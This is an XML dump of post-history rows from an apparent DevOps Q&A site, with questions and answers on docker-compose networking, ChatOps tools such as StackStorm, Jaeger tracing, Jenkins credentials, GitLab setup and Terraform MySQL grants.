  <row Id="30130" PostHistoryTypeId="1" PostId="10030" RevisionGUID="dcde98ad-4845-458d-a35c-aacaa18e19e2" CreationDate="2019-12-05T15:31:55.747" UserId="18537" Text="How to connect to postgres container from a node container using docker-compose?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30131" PostHistoryTypeId="3" PostId="10030" RevisionGUID="dcde98ad-4845-458d-a35c-aacaa18e19e2" CreationDate="2019-12-05T15:31:55.747" UserId="18537" Text="&lt;docker&gt;&lt;networking&gt;&lt;postgresql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30135" PostHistoryTypeId="6" PostId="9991" RevisionGUID="a336bc40-d6fc-4472-85c6-0046c520810b" CreationDate="2019-12-05T15:50:21.837" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;packer&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30136" PostHistoryTypeId="5" PostId="10030" RevisionGUID="adbcb2fb-d72f-4582-a8bf-f10d12e9781f" CreationDate="2019-12-05T15:51:01.050" UserId="210" Comment="added 180 characters in body" Text="I'm trying to connect from a node app container to a postgresql container using docker-compose but I'm not able to do it.&#xD;&#xA;This is my docker-compose.yml file:&#xD;&#xA;&#xD;&#xA;    version: '3.7'&#xD;&#xA;    services:&#xD;&#xA;      db:&#xD;&#xA;        image: postgres:12.1&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;5432:5432&quot;&#xD;&#xA;        env_file:&#xD;&#xA;          - &quot;./.env&quot;&#xD;&#xA;        networks:&#xD;&#xA;          - tcp-modbus&#xD;&#xA;        volumes:&#xD;&#xA;          - ./modbustcp.sql:/docker-entrypoint-initdb.d/init.sql&#xD;&#xA;      redis:&#xD;&#xA;        image: redis:5.0.6&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;6379:6379&quot;&#xD;&#xA;        networks:&#xD;&#xA;          - tcp-modbus&#xD;&#xA;      rabbit:&#xD;&#xA;        image: &quot;rabbitmq&quot;&#xD;&#xA;        environment:&#xD;&#xA;          RABBITMQ_ERLANG_COOKIE: &quot;SWQOKODSQALRPCLNMEQG&quot;&#xD;&#xA;          RABBITMQ_DEFAULT_USER: &quot;*&quot;&#xD;&#xA;          RABBITMQ_DEFAULT_PASS: &quot;*&quot;&#xD;&#xA;          RABBITMQ_DEFAULT_VHOST: &quot;/&quot;&#xD;&#xA;        ports:&#xD;&#xA;        - &quot;15672:15672&quot;&#xD;&#xA;        - &quot;5672:5672&quot;&#xD;&#xA;        volumes:&#xD;&#xA;          - &quot;./enabled_plugins:/etc/rabbitmq/enabled_plugins&quot;&#xD;&#xA;        networks:&#xD;&#xA;          - tcp-modbus&#xD;&#xA;      modbus-tcp:&#xD;&#xA;        image: customImage&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;8080:3000&quot;&#xD;&#xA;        links:&#xD;&#xA;          - &quot;db&quot;&#xD;&#xA;        volumes:&#xD;&#xA;          - &quot;./modbus.env:/usr/src/app/.env&quot;&#xD;&#xA;        networks:&#xD;&#xA;          - tcp-modbus&#xD;&#xA;    networks:&#xD;&#xA;      tcp-modbus:&#xD;&#xA;        driver: bridge&#xD;&#xA;&#xD;&#xA;I'm using typeorm to set the connection from the node app and was working fine before dockerizing the app, maybe has something to do with the host name of the container, cause I'm using localhost to connect to the postgresql container. Can I use somehow the container network as a hostname to connect to postgres?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30138" PostHistoryTypeId="2" PostId="10032" RevisionGUID="01ad47d9-c617-4be1-93eb-d4d99dda7730" CreationDate="2019-12-05T16:02:59.277" UserId="210" Text="docker-compose contains an internal DNS. In the example the service names are also the DNS names. In this case, the DNS of the database is `db`. If one configure this as a hostname in the node app then one should be able to access the database.&#xD;&#xA;&#xD;&#xA;Back in the day, [the wordpress example of docker-compose][1] helped me understanding this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose/wordpress/" ContentLicense="CC BY-SA 4.0" />
  <row Id="30139" PostHistoryTypeId="5" PostId="10032" RevisionGUID="e4ae3ca3-2261-4a9d-9956-49b86ef266d8" CreationDate="2019-12-05T16:07:59.387" UserId="210" Comment="added 823 characters in body" Text="docker-compose contains an internal DNS. In the example the service names are also the DNS names. In this case, the DNS of the database is `db`. If one configure this as a hostname in the node app then one should be able to access the database.&#xD;&#xA;&#xD;&#xA;Back in the day, [the wordpress example of docker-compose][1] helped me understanding this. When I changed `WORDPRESS_DB_HOST: db:3306` to `WORDPRESS_DB_HOST: db2:3306`, the wordpress was not able to access the mysql `db` anymore as depicted in the log. When it was changed back and forth to `db` and to `db2` it was not able to access it and with `db` it was. Then I realized that the service names are actually added to an internal DNS that can be resolved by other services that are defined in the docker-compose.yml.&#xD;&#xA;&#xD;&#xA;Recently I realized that running docker-compose up and specifying multiple files using `-f` also ensures that all services get added to the internal DNS. Initially I thought that the resolving was restricted to the same docker-compose.yml, but probably the docker network is responsible. If multiple apps reside in the same network, in this case the default, then they can resolve each other.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose/wordpress/" ContentLicense="CC BY-SA 4.0" />
  <row Id="30140" PostHistoryTypeId="2" PostId="10033" RevisionGUID="c0e20e09-61cd-4660-86c0-19a448f8edab" CreationDate="2019-12-05T16:09:36.117" UserId="18538" Text="Consumption Plan Function Apps are not able to be joined to a VNET.&#xD;&#xA;&#xD;&#xA;Premium Function Apps however, can be.&#xD;&#xA;&#xD;&#xA;If the container has sensitive information then you should not make it public, IP restriction shouldn't be your only protection.&#xD;&#xA;&#xD;&#xA;Use another service (such as a function app) to determine a user's identity: then grant them a SAS token for the container." ContentLicense="CC BY-SA 4.0" />
  <row Id="30142" PostHistoryTypeId="5" PostId="10023" RevisionGUID="b0e58590-7cb0-4c82-93ec-19d8c4a3086f" CreationDate="2019-12-05T17:20:08.247" UserId="18511" Comment="By moderator's request, I made the question less opinionated." Text="I'm considering implementing a chatops platform for my company to help automate code deploys. I've seen some alternatives, which I narrowed down to [cog][1] and [Errbot][2]. Errbot seems to be actively maintained, while cog hasn't seen a commit to master since July 2018. I liked cog's architecture, which gives me a sense of performance and resiliency; it can easily be deployed in Kubernetes and it is extensible in any language. Also its ACL feature is a big plus.&#xD;&#xA;&#xD;&#xA;My previous company's devops team used cog, and it seemed pretty solid to me. However, I'm concerned about deploying it as my current devops team is small and if cog is no longer maintained we cannot afford to maintain it.&#xD;&#xA;&#xD;&#xA;Can you share your experiences with any chatops platform you're using, and what are their pros and cons?&#xD;&#xA;I'm interested in chatbots that have at least these features:&#xD;&#xA;&#xD;&#xA;* Has an ACL built in, similar to cog&#xD;&#xA;* Able to be extended in any language (or at least its extensions can be implemented in Python/JavaScript).&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/operable/cog&#xD;&#xA;  [2]: https://errbot.readthedocs.io/en/latest/index.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="30143" PostHistoryTypeId="4" PostId="10023" RevisionGUID="b0e58590-7cb0-4c82-93ec-19d8c4a3086f" CreationDate="2019-12-05T17:20:08.247" UserId="18511" Comment="By moderator's request, I made the question less opinionated." Text="What are good options to implement a devops chatbot for Slack?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30153" PostHistoryTypeId="2" PostId="10036" RevisionGUID="1a28a29c-6075-417f-ab60-12ea42df3339" CreationDate="2019-12-06T05:09:03.873" UserId="5641" Text="So I am exploring Jaeger for Tracing and I saw that we can directly send spans from the client to the collector in HTTP (PORT: 14268), if so then what is the advantage of using the jaeger agent. &#xD;&#xA;&#xD;&#xA;When to go for the Jaeger Agent Approach and when to go with the direct HTTP Approach. What is the disadvantage of going with the Direct approach to the collector" ContentLicense="CC BY-SA 4.0" />
  <row Id="30154" PostHistoryTypeId="1" PostId="10036" RevisionGUID="1a28a29c-6075-417f-ab60-12ea42df3339" CreationDate="2019-12-06T05:09:03.873" UserId="5641" Text="Jaeger Agent advantages" ContentLicense="CC BY-SA 4.0" />
  <row Id="30155" PostHistoryTypeId="3" PostId="10036" RevisionGUID="1a28a29c-6075-417f-ab60-12ea42df3339" CreationDate="2019-12-06T05:09:03.873" UserId="5641" Text="&lt;deployment&gt;&lt;jaeger&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30156" PostHistoryTypeId="2" PostId="10037" RevisionGUID="e4ac38a0-1670-46fb-a37a-eac98ae8d3fe" CreationDate="2019-12-06T08:41:27.220" UserId="354" Text="I have found [StackStorm](https://stackstorm.com/) to be the most fully-featured ChatOps product.&#xD;&#xA;&#xD;&#xA;It satisfies your requirements:&#xD;&#xA;&#xD;&#xA;- Authz, RBAC, ACL ✔&#xD;&#xA;- Extensible in Python ✔&#xD;&#xA;&#xD;&#xA;See below.&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;StackStorm is marketed as a &#xD;&#xA;&#xD;&#xA;&gt; Robust If This, Then That Platform&#xD;&#xA;&#xD;&#xA;(but for DevOps)&#xD;&#xA;&#xD;&#xA;StackStorm consists of a few components, beyond it's chatops capability:&#xD;&#xA;&#xD;&#xA;&gt; - Sensors: &#xD;&#xA;&gt; Sensors are Python plugins for either inbound or outbound integration that receives or watches for events respectively. When an event from external systems occurs and is processed by a sensor, a StackStorm trigger will be emitted into the system.&#xD;&#xA;&gt; - Triggers&#xD;&#xA;&gt; Triggers are StackStorm representations of external events. There are generic triggers (e.g. timers, webhooks) and integration triggers (e.g. Sensu alert, JIRA issue updated). A new trigger type can be defined by writing a sensor plugin.&#xD;&#xA;&#xD;&#xA;&gt; - Actions&#xD;&#xA;&gt; Actions are StackStorm outbound integrations. There are generic actions (ssh, REST call), integrations (OpenStack, Docker, Puppet), or custom actions. Actions are either Python plugins, or any scripts, consumed into StackStorm by adding a few lines of metadata. Actions can be invoked directly by user via CLI or API, or used and called as part of rules and workflows.&#xD;&#xA;&gt; - Rules:&#xD;&#xA;Rules map triggers to actions (or to workflows), applying matching criteria and mapping trigger payload to action inputs.&#xD;&#xA;&gt; - Workflows&#xD;&#xA;&gt; Workflows stitch actions together into “uber-actions”, defining the order, transition conditions, and passing the data. Most automations are more than one-step and thus need more than one action. Workflows, just like “atomic” actions, are available in the Action library, and can be invoked manually or triggered by rules.&#xD;&#xA;&gt; Packs&#xD;&#xA;&gt; Packs are the units of content deployment. They simplify the management and sharing of StackStorm pluggable content by grouping integrations (triggers and actions) and automations (rules and workflows). A growing number of packs are available on StackStorm Exchange. Users can create their own packs, share them on Github, or submit to the StackStorm Exchange.&#xD;&#xA;&gt; - Audits&#xD;&#xA;&gt; Audit trail of action executions, manual or automated, is recorded and stored with full details of triggering context and execution results. It is also captured in audit logs for integrating with external logging and analytical tools: LogStash, Splunk, statsd, syslog.&#xD;&#xA;&#xD;&#xA;StackStorm's [ChatOps](https://docs.stackstorm.com/chatops/chatops.html) is built into it's other components: &#xD;&#xA;&#xD;&#xA;&gt; ChatOps leverages two components within StackStorm in order to provide a fluid user experience. These subsystems are the **Action Aliases** and **Notifications** subsystems. You can learn more about each of these individual components in their corresponding sub-sections.&#xD;&#xA;&#xD;&#xA;but you can also use your own:&#xD;&#xA;&#xD;&#xA;&gt; If you already have a Hubot instance, you’ll need the hubot-stackstorm module installed and the following environment variables set up:&#xD;&#xA;&#xD;&#xA;[Authentication](https://docs.stackstorm.com/authentication.html) can be done by StackStorm itself, or delegated to a proxy authentication system:&#xD;&#xA;&#xD;&#xA;&gt; The service can be configured with different backends (i.e. PAM, LDAP, etc.) to handle the authentication. If a backend is not specified, an htpasswd-compatible flat file authentication backend is used. To use a different backend, select and install the appropriate python package from the StackStorm community repos and configure st2auth accordingly.&#xD;&#xA;&#xD;&#xA;It also supports [API keys](https://docs.stackstorm.com/authentication.html#api-keys).&#xD;&#xA;&#xD;&#xA;As for RBAC, they [claim that it is supported in their &quot;Extreme Workflow Composer&quot;](https://docs.stackstorm.com/rbac.html#role-based-access-control)&#xD;&#xA;&#xD;&#xA;&gt; Role Based Access Control (RBAC) is only available in Extreme Workflow Composer. For information about Extreme Workflow Composer and the differences between StackStorm and Extreme Workflow Composer, please see stackstorm.com/product.&#xD;&#xA;&#xD;&#xA;but at the time of writing, there doesn't seem to be a good description of what that actually means. In any case, RBAC is implemented via YAML configuration files.&#xD;&#xA;&#xD;&#xA;StackStorm has &quot;packs&quot; which are predefined workflows, similar to IFTT or Zapier, which are sets of triggers, rules and actions. You can [extend it with your own actions](https://docs.stackstorm.com/actions.html#writing-custom-actions):&#xD;&#xA;&#xD;&#xA;&gt; An action is composed of two parts:&#xD;&#xA;&#xD;&#xA;&gt; - A YAML metadata file which describes the action, and its inputs.&#xD;&#xA;&gt; - A script file which implements the action logic&#xD;&#xA;&#xD;&#xA;&gt; As noted above, an action script can be written in an arbitrary programming language, as long as it follows these conventions:&#xD;&#xA;&#xD;&#xA;&gt; - Script should exit with 0 status code on success and non-zero on error (e.g. 1)&#xD;&#xA;&gt; - All log messages should be printed to standard error&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30157" PostHistoryTypeId="2" PostId="10038" RevisionGUID="bdfcf1f7-ba21-4330-8469-be62036381e3" CreationDate="2019-12-06T09:33:56.970" UserId="18548" Text="in Jenkins, I am trying to **inject my credentials** &#xD;&#xA;to a Freesryle project.&#xD;&#xA;&#xD;&#xA;The project is building a python project in virtualenvironment&#xD;&#xA;with &quot;behave&quot; created with ShinignPanda plugin&#xD;&#xA;&#xD;&#xA;con someone help me ?&#xD;&#xA;thanks&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30158" PostHistoryTypeId="1" PostId="10038" RevisionGUID="bdfcf1f7-ba21-4330-8469-be62036381e3" CreationDate="2019-12-06T09:33:56.970" UserId="18548" Text="How to inject credentials to python virtual env in jenkins?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30159" PostHistoryTypeId="3" PostId="10038" RevisionGUID="bdfcf1f7-ba21-4330-8469-be62036381e3" CreationDate="2019-12-06T09:33:56.970" UserId="18548" Text="&lt;jenkins&gt;&lt;python&gt;&lt;job-dsl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30160" PostHistoryTypeId="5" PostId="10037" RevisionGUID="4bcd43d4-6089-4d46-911b-6ba976cbe883" CreationDate="2019-12-06T09:36:52.530" UserId="354" Comment="Give a link to their page on Extreme workflow composer" Text="I have found [StackStorm](https://stackstorm.com/) to be the most fully-featured ChatOps product.&#xD;&#xA;&#xD;&#xA;It satisfies your requirements:&#xD;&#xA;&#xD;&#xA;- Authz, RBAC, ACL ✔&#xD;&#xA;- Extensible in Python ✔&#xD;&#xA;&#xD;&#xA;See below.&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;StackStorm is marketed as a &#xD;&#xA;&#xD;&#xA;&gt; Robust If This, Then That Platform&#xD;&#xA;&#xD;&#xA;(but for DevOps)&#xD;&#xA;&#xD;&#xA;StackStorm consists of a few components, beyond it's chatops capability:&#xD;&#xA;&#xD;&#xA;&gt; - Sensors: &#xD;&#xA;&gt; Sensors are Python plugins for either inbound or outbound integration that receives or watches for events respectively. When an event from external systems occurs and is processed by a sensor, a StackStorm trigger will be emitted into the system.&#xD;&#xA;&gt; - Triggers&#xD;&#xA;&gt; Triggers are StackStorm representations of external events. There are generic triggers (e.g. timers, webhooks) and integration triggers (e.g. Sensu alert, JIRA issue updated). A new trigger type can be defined by writing a sensor plugin.&#xD;&#xA;&#xD;&#xA;&gt; - Actions&#xD;&#xA;&gt; Actions are StackStorm outbound integrations. There are generic actions (ssh, REST call), integrations (OpenStack, Docker, Puppet), or custom actions. Actions are either Python plugins, or any scripts, consumed into StackStorm by adding a few lines of metadata. Actions can be invoked directly by user via CLI or API, or used and called as part of rules and workflows.&#xD;&#xA;&gt; - Rules:&#xD;&#xA;Rules map triggers to actions (or to workflows), applying matching criteria and mapping trigger payload to action inputs.&#xD;&#xA;&gt; - Workflows&#xD;&#xA;&gt; Workflows stitch actions together into “uber-actions”, defining the order, transition conditions, and passing the data. Most automations are more than one-step and thus need more than one action. Workflows, just like “atomic” actions, are available in the Action library, and can be invoked manually or triggered by rules.&#xD;&#xA;&gt; Packs&#xD;&#xA;&gt; Packs are the units of content deployment. They simplify the management and sharing of StackStorm pluggable content by grouping integrations (triggers and actions) and automations (rules and workflows). A growing number of packs are available on StackStorm Exchange. Users can create their own packs, share them on Github, or submit to the StackStorm Exchange.&#xD;&#xA;&gt; - Audits&#xD;&#xA;&gt; Audit trail of action executions, manual or automated, is recorded and stored with full details of triggering context and execution results. It is also captured in audit logs for integrating with external logging and analytical tools: LogStash, Splunk, statsd, syslog.&#xD;&#xA;&#xD;&#xA;StackStorm's [ChatOps](https://docs.stackstorm.com/chatops/chatops.html) is built into it's other components: &#xD;&#xA;&#xD;&#xA;&gt; ChatOps leverages two components within StackStorm in order to provide a fluid user experience. These subsystems are the **Action Aliases** and **Notifications** subsystems. You can learn more about each of these individual components in their corresponding sub-sections.&#xD;&#xA;&#xD;&#xA;but you can also use your own:&#xD;&#xA;&#xD;&#xA;&gt; If you already have a Hubot instance, you’ll need the hubot-stackstorm module installed and the following environment variables set up:&#xD;&#xA;&#xD;&#xA;[Authentication](https://docs.stackstorm.com/authentication.html) can be done by StackStorm itself, or delegated to a proxy authentication system:&#xD;&#xA;&#xD;&#xA;&gt; The service can be configured with different backends (i.e. PAM, LDAP, etc.) to handle the authentication. If a backend is not specified, an htpasswd-compatible flat file authentication backend is used. To use a different backend, select and install the appropriate python package from the StackStorm community repos and configure st2auth accordingly.&#xD;&#xA;&#xD;&#xA;It also supports [API keys](https://docs.stackstorm.com/authentication.html#api-keys).&#xD;&#xA;&#xD;&#xA;As for RBAC, they [claim that it is supported in their &quot;Extreme Workflow Composer&quot;](https://docs.stackstorm.com/rbac.html#role-based-access-control)&#xD;&#xA;&#xD;&#xA;&gt; Role Based Access Control (RBAC) is only available in Extreme Workflow Composer. For information about Extreme Workflow Composer and the differences between StackStorm and Extreme Workflow Composer, please see stackstorm.com/product.&#xD;&#xA;&#xD;&#xA;More at https://docs.stackstorm.com/install/ewc.html&#xD;&#xA;&#xD;&#xA;StackStorm has &quot;packs&quot; which are predefined workflows, similar to IFTT or Zapier, which are sets of triggers, rules and actions. You can [extend it with your own actions](https://docs.stackstorm.com/actions.html#writing-custom-actions):&#xD;&#xA;&#xD;&#xA;&gt; An action is composed of two parts:&#xD;&#xA;&#xD;&#xA;&gt; - A YAML metadata file which describes the action, and its inputs.&#xD;&#xA;&gt; - A script file which implements the action logic&#xD;&#xA;&#xD;&#xA;&gt; As noted above, an action script can be written in an arbitrary programming language, as long as it follows these conventions:&#xD;&#xA;&#xD;&#xA;&gt; - Script should exit with 0 status code on success and non-zero on error (e.g. 1)&#xD;&#xA;&gt; - All log messages should be printed to standard error&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30161" PostHistoryTypeId="2" PostId="10039" RevisionGUID="561f883d-4a4e-47a3-bf47-7f7f1a1768ca" CreationDate="2019-12-06T13:42:45.583" UserId="18553" Text="I'm installing **Gitlab** on my server using **docker-compose** based on [Docker Docs][1].&#xD;&#xA;My SSH port is not the default one (22) and I have changed it to something else like 2228. So the YML file became like this:&#xD;&#xA;```&#xD;&#xA;web:&#xD;&#xA;  image: 'gitlab/gitlab-ce:latest'&#xD;&#xA;  restart: always&#xD;&#xA;  hostname: 'gitlab.mydomain.com'&#xD;&#xA;  environment:&#xD;&#xA;    GITLAB_OMNIBUS_CONFIG: |&#xD;&#xA;      external_url 'https://gitlab.mydomain.com'&#xD;&#xA;      gitlab_rails['gitlab_shell_ssh_port'] = 2228&#xD;&#xA;  ports:&#xD;&#xA;    - '80:80'&#xD;&#xA;    - '443:443'&#xD;&#xA;    - '2228:22'&#xD;&#xA;  volumes:&#xD;&#xA;    - '/srv/gitlab/config:/etc/gitlab'&#xD;&#xA;    - '/srv/gitlab/logs:/var/log/gitlab'&#xD;&#xA;    - '/srv/gitlab/data:/var/opt/gitlab'&#xD;&#xA;```&#xD;&#xA;When I run the `docker-compose up -d`, I receive this result and errors:&#xD;&#xA;```&#xD;&#xA;Starting docker_web_1 ...&#xD;&#xA;&#xD;&#xA;ERROR: for docker_web_1  a bytes-like object is required, not 'str'&#xD;&#xA;&#xD;&#xA;ERROR: for web  a bytes-like object is required, not 'str'&#xD;&#xA;Traceback (most recent call last):&#xD;&#xA;  File &quot;site-packages/docker/api/client.py&quot;, line 261, in _raise_for_status&#xD;&#xA;  File &quot;site-packages/requests/models.py&quot;, line 940, in raise_for_status&#xD;&#xA;requests.exceptions.HTTPError: 500 Server Error: Internal Server Error for url: http+docker://localhost/v1.21/containers/9d4483106cf1683f46b5158a9550f9b4375d7c147ecb8b07df533840ad0806b6/start&#xD;&#xA;&#xD;&#xA;During handling of the above exception, another exception occurred:&#xD;&#xA;&#xD;&#xA;Traceback (most recent call last):&#xD;&#xA;  File &quot;compose/service.py&quot;, line 625, in start_container&#xD;&#xA;  File &quot;compose/container.py&quot;, line 241, in start&#xD;&#xA;  File &quot;site-packages/docker/utils/decorators.py&quot;, line 19, in wrapped&#xD;&#xA;  File &quot;site-packages/docker/api/container.py&quot;, line 1095, in start&#xD;&#xA;  File &quot;site-packages/docker/api/client.py&quot;, line 263, in _raise_for_status&#xD;&#xA;  File &quot;site-packages/docker/errors.py&quot;, line 31, in create_api_error_from_http_exception&#xD;&#xA;docker.errors.APIError: 500 Server Error: Internal Server Error (&quot;b'driver failed programming external connectivity on endpoint docker_web_1 (9b32d28cc2f635e085e82a2ef9f4d1fd3afc76f7693e279405ada5f61b96d215): Error starting userland proxy: listen tcp 0.0.0.0:443: bind: address already in use'&quot;)&#xD;&#xA;&#xD;&#xA;During handling of the above exception, another exception occurred:&#xD;&#xA;&#xD;&#xA;Traceback (most recent call last):&#xD;&#xA;  File &quot;bin/docker-compose&quot;, line 6, in &lt;module&gt;&#xD;&#xA;  File &quot;compose/cli/main.py&quot;, line 72, in main&#xD;&#xA;  File &quot;compose/cli/main.py&quot;, line 128, in perform_command&#xD;&#xA;  File &quot;compose/cli/main.py&quot;, line 1107, in up&#xD;&#xA;  File &quot;compose/cli/main.py&quot;, line 1103, in up&#xD;&#xA;  File &quot;compose/project.py&quot;, line 570, in up&#xD;&#xA;  File &quot;compose/parallel.py&quot;, line 112, in parallel_execute&#xD;&#xA;  File &quot;compose/parallel.py&quot;, line 210, in producer&#xD;&#xA;  File &quot;compose/project.py&quot;, line 556, in do&#xD;&#xA;  File &quot;compose/service.py&quot;, line 568, in execute_convergence_plan&#xD;&#xA;  File &quot;compose/service.py&quot;, line 510, in _execute_convergence_start&#xD;&#xA;  File &quot;compose/parallel.py&quot;, line 112, in parallel_execute&#xD;&#xA;  File &quot;compose/parallel.py&quot;, line 210, in producer&#xD;&#xA;  File &quot;compose/service.py&quot;, line 508, in &lt;lambda&gt;&#xD;&#xA;  File &quot;compose/service.py&quot;, line 620, in start_container_if_stopped&#xD;&#xA;  File &quot;compose/service.py&quot;, line 627, in start_container&#xD;&#xA;TypeError: a bytes-like object is required, not 'str'&#xD;&#xA;[5738] Failed to execute script docker-compose&#xD;&#xA;```&#xD;&#xA;I'm new in Docker and docker-compose, but I did everything as it is written in the official documentation. May you help me plesae to solve this issue?&#xD;&#xA;  [1]: https://docs.gitlab.com/omnibus/docker/#install-gitlab-using-docker-compose" ContentLicense="CC BY-SA 4.0" />
  <row Id="30162" PostHistoryTypeId="1" PostId="10039" RevisionGUID="561f883d-4a4e-47a3-bf47-7f7f1a1768ca" CreationDate="2019-12-06T13:42:45.583" UserId="18553" Text="Internal Server Error while running docker-compose to install Gitlab" ContentLicense="CC BY-SA 4.0" />
  <row Id="30163" PostHistoryTypeId="3" PostId="10039" RevisionGUID="561f883d-4a4e-47a3-bf47-7f7f1a1768ca" CreationDate="2019-12-06T13:42:45.583" UserId="18553" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30164" PostHistoryTypeId="2" PostId="10040" RevisionGUID="a725a5f5-c336-4df5-ab6a-f58955249713" CreationDate="2019-12-06T15:47:45.677" UserId="2867" Text="For a new deployment I want to create databases, users and grants on a previous created MySQL database on azure.&#xD;&#xA;&#xD;&#xA;The following code used inside a module creates the environment as expected and I still struggle how to create the outputs of the module and so I get something like the following, to give it to the operations team:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;module.test_cluster.mysql_users[cat].password = randompassword1&#xD;&#xA;module.test_cluster.mysql_users[dog].password = randompassword2&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Code example:&#xD;&#xA;```terraform main.tf&#xD;&#xA;mysql_databases = [&#xD;&#xA;  &quot;foo&quot;,&#xD;&#xA;  &quot;bar&quot;&#xD;&#xA;]&#xD;&#xA;&#xD;&#xA;mysql_users = [&#xD;&#xA;  &quot;stage-cat&quot;,&#xD;&#xA;  &quot;stage-dog&quot;,&#xD;&#xA;  &quot;stage-snake&quot;&#xD;&#xA;]&#xD;&#xA;&#xD;&#xA;mysql_grants = {&#xD;&#xA;  &quot;cat-0&quot; = {&#xD;&#xA;    name     = &quot;stage-cat&quot;&#xD;&#xA;    database = &quot;foo&quot;&#xD;&#xA;    grant    = [&quot;ALL&quot;]&#xD;&#xA;  },&#xD;&#xA;  &quot;cat-1&quot; = {&#xD;&#xA;    name     = &quot;stage-cat&quot;&#xD;&#xA;    database = &quot;bar&quot;&#xD;&#xA;    grant    = [&quot;SELECT&quot;, &quot;EXECUTE&quot;, &quot;SHOW VIEW&quot;]&#xD;&#xA;  },&#xD;&#xA;  &quot;dog-0&quot; = {&#xD;&#xA;    name     = &quot;stage-dog&quot;&#xD;&#xA;    database = &quot;bar&quot;&#xD;&#xA;    grant    = [&quot;ALL&quot;]&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```terraform ../modules/test_cluster/mysql.tf&#xD;&#xA;resource &quot;mysql_database&quot; &quot;test&quot; {&#xD;&#xA;  for_each = var.mysql_databases&#xD;&#xA;  name     = each.key&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;mysql_user&quot; &quot;test&quot; {&#xD;&#xA;  for_each           = var.mysql_users&#xD;&#xA;  user               = each.value&#xD;&#xA;  host               = &quot;%&quot;&#xD;&#xA;  tls_option         = &quot;SSL&quot;&#xD;&#xA;  plaintext_password = random_password.test[each.value].result&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;mysql_grant&quot; &quot;test&quot; {&#xD;&#xA;  for_each   = var.mysql_grants&#xD;&#xA;  user       = mysql_user.test[each.value[&quot;name&quot;]].user&#xD;&#xA;  host       = &quot;%&quot;&#xD;&#xA;  database   = each.value[&quot;database&quot;]&#xD;&#xA;  privileges = each.value[&quot;grant&quot;]&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;random_password&quot; &quot;test&quot; {&#xD;&#xA;  for_each = var.mysql_users&#xD;&#xA;  length   = 32&#xD;&#xA;  special  = false&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="30165" PostHistoryTypeId="1" PostId="10040" RevisionGUID="a725a5f5-c336-4df5-ab6a-f58955249713" CreationDate="2019-12-06T15:47:45.677" UserId="2867" Text="How to create databases, users and grants with terraform mysql and output the created credentials?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30166" PostHistoryTypeId="3" PostId="10040" RevisionGUID="a725a5f5-c336-4df5-ab6a-f58955249713" CreationDate="2019-12-06T15:47:45.677" UserId="2867" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30167" PostHistoryTypeId="2" PostId="10041" RevisionGUID="973dda53-b473-4452-85d2-5e5318001ed9" CreationDate="2019-12-06T17:51:11.100" UserId="8125" Text="Add the service account key to you repository is not a good practice when thinking about security.&#xD;&#xA;&#xD;&#xA;The second solution may happen and should be a good practice to implement some key rotation process to avoid some dev using a compromised key. Even though, there are [some guidance](https://forsetisecurity.org/docs/latest/concepts/best-practices.html#service-accounts) which suggests to avoid the utilization of several keys (Also, I suppose there's a limit in the platform for Service Account key creation)&#xD;&#xA;&#xD;&#xA;Take a look at [Cloud KMS](https://cloud.google.com/kms/docs/iam) that may have some suggestion for you on how to manage your keys" ContentLicense="CC BY-SA 4.0" />
  <row Id="30168" PostHistoryTypeId="2" PostId="10042" RevisionGUID="69eec0a0-3b63-430d-9d66-8d4fefcacb4c" CreationDate="2019-12-06T17:59:29.487" UserId="18557" Text="Today I pull an image from the Internet, and I found that the docker networking mode can be detected in the image's startup script.&#xD;&#xA;But docker0  only exists in the host  not the container. Why?&#xD;&#xA;```&#xD;&#xA;set -e&#xD;&#xA;&#xD;&#xA;# check for presence of network interface docker0&#xD;&#xA;check_network=$(ifconfig | grep docker0 || true)&#xD;&#xA;&#xD;&#xA;# if network interface docker0 is present then we are running in host mode and thus must exit&#xD;&#xA;if [[ ! -z &quot;${check_network}&quot; ]]; then&#xD;&#xA;	echo &quot;[crit] Network type detected as 'Host', this will cause major issues, please stop the container and switch back to 'Bridge' mode&quot; | ts '%Y-%m-%d %H:%M:%.S' &amp;&amp; exit 1&#xD;&#xA;fi&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="30169" PostHistoryTypeId="1" PostId="10042" RevisionGUID="69eec0a0-3b63-430d-9d66-8d4fefcacb4c" CreationDate="2019-12-06T17:59:29.487" UserId="18557" Text="Why container can use ifconfig to get the host information?" ContentLicense="CC BY-SA 4.0" />
